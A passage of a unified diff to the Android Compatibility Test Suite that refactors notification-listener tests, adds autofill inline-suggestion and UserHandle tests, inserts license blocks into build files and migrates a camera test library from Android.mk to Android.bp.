+            throw new AssertionError("URI should be accessible: " + uri, e);
+        }
+    }
+
+    private void assertInaccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            fail("URI should be inaccessible: " + uri);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @NonNull
+    private Uri getNotificationBackgroundImageUri(int notificationId) {
+        StatusBarNotification sbn = findPostedNotification(notificationId, true);
+        assertNotNull(sbn);
+        String imageUriString = sbn.getNotification().extras
+                .getString(Notification.EXTRA_BACKGROUND_IMAGE_URI);
+        assertNotNull(imageUriString);
+        return Uri.parse(imageUriString);
+    }
+
     public void testNotificationListener_setNotificationsShown() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2715,8 +2977,7 @@
         StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
         mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         Thread.sleep(500); // wait for listener to be disallowed
         try {
             mListener.setNotificationsShown(new String[]{ sbn2.getKey() });
@@ -2727,8 +2988,7 @@
     }
 
     public void testNotificationListener_getNotificationChannels() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2743,8 +3003,7 @@
     }
 
     public void testNotificationListener_getNotificationChannelGroups() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2758,8 +3017,7 @@
     }
 
     public void testNotificationListener_updateNotificationChannel() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2778,8 +3036,7 @@
     }
 
     public void testNotificationListener_getActiveNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2806,8 +3063,7 @@
 
 
     public void testNotificationListener_getCurrentRanking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2820,8 +3076,7 @@
     }
 
     public void testNotificationListener_cancelNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 03012c8..19dc7a3 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -644,7 +644,7 @@
     }
 
     private boolean isAndroidEmulator() {
-        return PropertyUtil.propertyEquals("ro.kernel.qemu", "1");
+        return PropertyUtil.propertyEquals("ro.boot.qemu", "1");
     }
 
     private void assertFeature(boolean exist, String feature) {
diff --git a/tests/app/src/android/app/cts/UserHandleTest.java b/tests/app/src/android/app/cts/UserHandleTest.java
index 342ee36..4f4b829 100644
--- a/tests/app/src/android/app/cts/UserHandleTest.java
+++ b/tests/app/src/android/app/cts/UserHandleTest.java
@@ -21,6 +21,7 @@
 import android.test.AndroidTestCase;
 
 public class UserHandleTest extends AndroidTestCase {
+    private static final int TEST_APP_ID = 1234;
     private static void assertSameUserHandle(int userId) {
         assertSame(UserHandle.of(userId), UserHandle.of(userId));
     }
@@ -55,4 +56,19 @@
             assertParcel(i);
         }
     }
+
+    public void testGetUid() {
+        assertEquals(
+                UserHandle.getUid(UserHandle.USER_ALL, TEST_APP_ID),
+                UserHandle.getUid(UserHandle.ALL, TEST_APP_ID));
+        assertEquals(
+                UserHandle.getUid(UserHandle.USER_SYSTEM, TEST_APP_ID),
+                UserHandle.getUid(UserHandle.SYSTEM, TEST_APP_ID));
+        assertEquals(
+                UserHandle.getUid(UserHandle.USER_ALL, TEST_APP_ID),
+                UserHandle.getUid(UserHandle.ALL.getIdentifier(), TEST_APP_ID));
+        assertEquals(
+                UserHandle.getUid(UserHandle.USER_SYSTEM, TEST_APP_ID),
+                UserHandle.getUid(UserHandle.SYSTEM.getIdentifier(), TEST_APP_ID));
+    }
 }
diff --git a/tests/appintegrity/Android.bp b/tests/appintegrity/Android.bp
index fd85d26..8ac1b52 100644
--- a/tests/appintegrity/Android.bp
+++ b/tests/appintegrity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAppIntegrityDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/apppredictionservice/Android.bp b/tests/apppredictionservice/Android.bp
index b09de20..e8b9c68 100644
--- a/tests/apppredictionservice/Android.bp
+++ b/tests/apppredictionservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAppPredictionServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/aslr/Android.bp b/tests/aslr/Android.bp
index ca0049d..952926c 100644
--- a/tests/aslr/Android.bp
+++ b/tests/aslr/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CtsAslrMallocTestCases",
     compile_multilib: "both",
diff --git a/tests/attentionservice/Android.bp b/tests/attentionservice/Android.bp
index dfa2848..a515cf7 100644
--- a/tests/attentionservice/Android.bp
+++ b/tests/attentionservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAttentionServiceDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index d04f23b..5e022ea 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAutoFillServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index bb824de..102ef03 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -89,6 +89,7 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Function;
+import java.util.regex.Pattern;
 
 /**
  * Helper for common funcionalities.
@@ -235,6 +236,24 @@
     }
 
     /**
+     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+     * that it says the number of active inline suggestion views is the given number.
+     *
+     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+     * But at the time this test is added for Android 11, we have passed the deadline for adding
+     * the new test api, hence this approach.
+     */
+    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+        String response = runShellCommand(
+                "dumpsys activity service .InlineSuggestionRenderService");
+        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+        assertWithMessage("Expecting view count " + count
+                + ", but seeing different count from service dumpsys " + response).that(
+                pattern.matcher(response).find()).isTrue();
+    }
+
+    /**
      * Sets whether the user completed the initial setup.
      */
     public static void setUserComplete(Context context, boolean complete) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index ace3d6f..c7c5070 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -182,6 +182,37 @@
     /**
      * Sets the expectation for an autofill request (for username only), so it can be asserted
      * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior.
+     * <pre>
+     * An example usage is:
+     * <code>
+     *  public void testAutofill() throws Exception {
+     *      // Enable service and trigger autofill
+     *      enableService();
+     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
+     *                         .setField(ID_USERNAME, "test")
+     *                         .setField(ID_PASSWORD, "tweet")
+     *                         .setPresentation(createPresentation("Second Dude"))
+     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
+     *                         .build());
+     *      sReplier.addResponse(builder.build());
+     *      mUiBot.selectByRelativeId(ID_USERNAME);
+     *      sReplier.getNextFillRequest();
+     *      // Filter suggestion
+     *      mActivity.onUsername((v) -> v.setText("t"));
+     *      mUiBot.assertDatasets("Second Dude");
+     *
+     *      // Call expectAutoFill() before checking autofill behavior
+     *      mActivity.expectAutoFill("test", "tweet");
+     *      mUiBot.selectDataset("Second Dude");
+     *      mActivity.assertAutoFilled();
+     *  }
+     * </code>
+     * </pre>
      */
     public void expectAutoFill(String username) {
         mExpectation = new FillExpectation(username);
@@ -191,6 +222,10 @@
     /**
      * Sets the expectation for an autofill request (for password only), so it can be asserted
      * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior. {@See #expectAutoFill(String)} for how it should be used.
      */
     public void expectPasswordAutoFill(String password) {
         mExpectation = new FillExpectation(null, password);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index fd5b951..141fb2f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -346,8 +346,7 @@
                 .setPresentation(createPresentation("THE DUDE"))
                 .build());
 
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
+        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
 
         final FillRequest secondRequest = sReplier.getNextFillRequest();
         assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
@@ -2727,7 +2726,9 @@
         final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
         assertThat(password.getMinTextEms()).isEqualTo(-1);
         assertThat(password.getMaxTextEms()).isEqualTo(-1);
-        assertThat(password.getMaxTextLength()).isEqualTo(-1);
+        // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
+        // break the public release.
+        //assertThat(password.getMaxTextLength()).isEqualTo(-1);
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
index 122cfc5..7d8d4be 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
@@ -140,5 +140,8 @@
         assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
         final ComponentName component2 = structure2.getActivityComponent();
         assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 408ee46..bc70ff6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -121,6 +121,7 @@
         MultiWindowEmptyActivity.expectNewInstance(true);
 
         splitWindow(mActivity);
+        mUiBot.waitForIdleSync();
         MultiWindowLoginActivity loginActivity = MultiWindowLoginActivity.waitNewInstance();
 
         amStartActivity(MultiWindowEmptyActivity.class);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index fb878d3..c099043 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1707,6 +1707,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
                 ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1718,6 +1719,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
                 ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1729,6 +1731,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
             throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
@@ -1741,6 +1744,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
             throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
@@ -1753,6 +1757,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
                 ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
@@ -1764,6 +1769,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
                 ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index c761d02..f46dd19 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -70,7 +70,6 @@
                         .setInlinePresentation(createInlinePresentation("Second Dude"))
                         .build());
         sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("test", "tweet");
 
         // Trigger autofill, then make sure it's showing initially.
         mUiBot.selectByRelativeId(ID_USERNAME);
@@ -93,6 +92,7 @@
         mUiBot.waitForIdleSync();
         mUiBot.assertDatasets("Second Dude");
 
+        mActivity.expectAutoFill("test", "tweet");
         mUiBot.selectDataset("Second Dude");
         mUiBot.waitForIdleSync();
         mActivity.assertAutoFilled();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index eb18e96..3ca3f34 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -44,6 +44,7 @@
 import android.content.Intent;
 import android.os.Binder;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.Direction;
@@ -457,4 +458,59 @@
                     MOCK_IME_TIMEOUT_MS);
         }
     }
+
+    @Test
+    public void testInlineSuggestionViewReleased() throws Exception {
+        // Set service
+        enableService();
+
+        // Prepare the autofill response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Password"))
+                        .setInlinePresentation(createInlinePresentation("The Password"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "lollipop")
+                        .setPresentation(createPresentation("The Password2"))
+                        .setInlinePresentation(createInlinePresentation("The Password2"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill on username field
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Username");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+        // Switch focus to password
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Password", "The Password2");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(2);
+
+        // Switch focus back to username
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Username");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+        // Select the autofill suggestion on username, then check the results
+        mActivity.expectAutoFill("dude");
+        mUiBot.selectDataset("The Username");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+        sReplier.getNextFillRequest();
+
+        // Sleep for a while for the wait in {@link com.android.server.autofill.ui
+        // .RemoteInlineSuggestionUi} to timeout.
+        SystemClock.sleep(500);
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(0);
+    }
 }
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index b9bb624a..bc6d77e 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBackupTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/backup/OWNERS b/tests/backup/OWNERS
index 8a2604f..563154f 100644
--- a/tests/backup/OWNERS
+++ b/tests/backup/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 656484
 
-include platform/frameworks/base/services/backup:/OWNERS
+include platform/frameworks/base:/services/backup/OWNERS
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index 0040c612..94e0c6b 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsFullBackupApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/bugreport/Android.bp b/tests/bugreport/Android.bp
index d008efb..8a25c4a 100644
--- a/tests/bugreport/Android.bp
+++ b/tests/bugreport/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBugreportTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
new file mode 100644
index 0000000..6cb0cee
--- /dev/null
+++ b/tests/camera/Android.bp
@@ -0,0 +1,50 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Reusable Camera performance test classes and helpers
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "cts-camera-performance-tests",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "CtsCameraUtils",
+        "truth-prebuilt",
+        "androidx.test.rules",
+    ],
+
+    manifest: "AndroidManifest-lib.xml",
+    resource_dirs: ["res"],
+    srcs: [
+        "src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java",
+        "src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java",
+        "src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java",
+        "src/android/hardware/camera2/cts/PerformanceTest.java",
+        "src/android/hardware/cts/CameraPerformanceTestHelper.java",
+        "src/android/hardware/cts/LegacyCameraPerformanceTest.java",
+        "src/android/hardware/camera2/cts/RecordingTest.java",
+    ],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 1dc75f3..749fed5 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -14,40 +14,6 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-# Reusable Camera performance test classes and helpers
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-camera-performance-tests
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
-	ctstestrunner-axt \
-	mockito-target-minus-junit4 \
-	CtsCameraUtils \
-	truth-prebuilt \
-	androidx.test.rules
-
-LOCAL_MANIFEST_FILE := AndroidManifest-lib.xml
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-LOCAL_SRC_FILES := \
-	src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java \
-	src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java \
-	src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java \
-	src/android/hardware/camera2/cts/PerformanceTest.java \
-	src/android/hardware/cts/CameraPerformanceTestHelper.java \
-	src/android/hardware/cts/LegacyCameraPerformanceTest.java \
-	src/android/hardware/camera2/cts/RecordingTest.java
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
 # CtsCameraTestCases package
 
 include $(CLEAR_VARS)
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index efe5700..e3e4a63 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -31,19 +31,19 @@
 
         <activity android:name="android.hardware.cts.CameraCtsActivity"
             android:label="CameraCtsActivity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize">
         </activity>
 
         <activity android:name="android.hardware.camera2.cts.Camera2SurfaceViewCtsActivity"
             android:label="Camera2CtsActivity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize">
         </activity>
 
         <activity android:name="android.hardware.camera2.cts.Camera2MultiViewCtsActivity"
             android:label="Camera2MultiViewCtsActivity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize">
         </activity>
 
@@ -58,28 +58,28 @@
 
         <activity android:name="android.hardware.multiprocess.camera.cts.Camera1Activity"
             android:label="RemoteCamera1Activity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:process=":camera1ActivityProcess">
         </activity>
 
         <activity android:name="android.hardware.multiprocess.camera.cts.Camera2Activity"
             android:label="RemoteCamera2Activity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:process=":camera2ActivityProcess">
         </activity>
 
         <activity android:name="android.hardware.camera2.cts.Camera2OfflineTestActivity"
             android:label="RemoteCamera2OfflineTestActivity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:process=":camera2ActivityProcess">
         </activity>
 
         <activity android:name="android.hardware.multiprocess.camera.cts.MediaRecorderCameraActivity"
             android:label="RemoteMediaRecorderCameraActivity"
-            android:screenOrientation="landscape"
+            android:screenOrientation="locked"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:process=":mediaRecorderCameraActivityProcess">
         </activity>
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index b482853..b7fb561 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -17,6 +17,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE    := libctscamera2_jni
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index ff1bdb7..c4efba7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -37,6 +37,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Pair;
 
@@ -828,6 +829,7 @@
 
     // Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testNoLegacyOnQ() throws Exception {
         if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
             // LEGACY still allowed for devices upgrading to Q
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 4a02036..b7b5061 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -94,6 +94,7 @@
     private static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
     private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
     private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
+    private static final long FRAME_DURATION_NS_30FPS = 33333333L;
 
     private DeviceReportLog mReportLog;
 
@@ -107,8 +108,10 @@
     private ImageWriter mWriter;
     private SimpleCaptureCallback mZslResultListener;
 
+    private Size mPreviewSize;
     private Surface mPreviewSurface;
     private SurfaceTexture mPreviewSurfaceTexture;
+    private int mImageReaderFormat;
 
     private static final Instrumentation mInstrumentation =
             InstrumentationRegistry.getInstrumentation();
@@ -149,9 +152,11 @@
             double[] cameraCloseTimes = new double[NUM_TEST_LOOPS];
             double[] cameraLaunchTimes = new double[NUM_TEST_LOOPS];
             try {
-                mTestRule.setStaticInfo(new StaticMetadata(
-                        mTestRule.getCameraManager().getCameraCharacteristics(id)));
-                if (mTestRule.getStaticInfo().isColorOutputSupported()) {
+                CameraCharacteristics ch =
+                        mTestRule.getCameraManager().getCameraCharacteristics(id);
+                mTestRule.setStaticInfo(new StaticMetadata(ch));
+                boolean isColorOutputSupported = mTestRule.getStaticInfo().isColorOutputSupported();
+                if (isColorOutputSupported) {
                     initializeImageReader(id, ImageFormat.YUV_420_888);
                 } else {
                     assertTrue("Depth output must be supported if regular output isn't!",
@@ -176,14 +181,15 @@
                         cameraOpenTimes[i] = openTimeMs - startTimeMs;
 
                         // Blocking configure outputs.
-                        configureReaderAndPreviewOutputs();
+                        CaptureRequest previewRequest =
+                                configureReaderAndPreviewOutputs(id, isColorOutputSupported);
                         configureTimeMs = SystemClock.elapsedRealtime();
                         configureStreamTimes[i] = configureTimeMs - openTimeMs;
 
                         // Blocking start preview (start preview to first image arrives)
                         SimpleCaptureCallback resultListener =
                                 new SimpleCaptureCallback();
-                        blockingStartPreview(resultListener, imageListener);
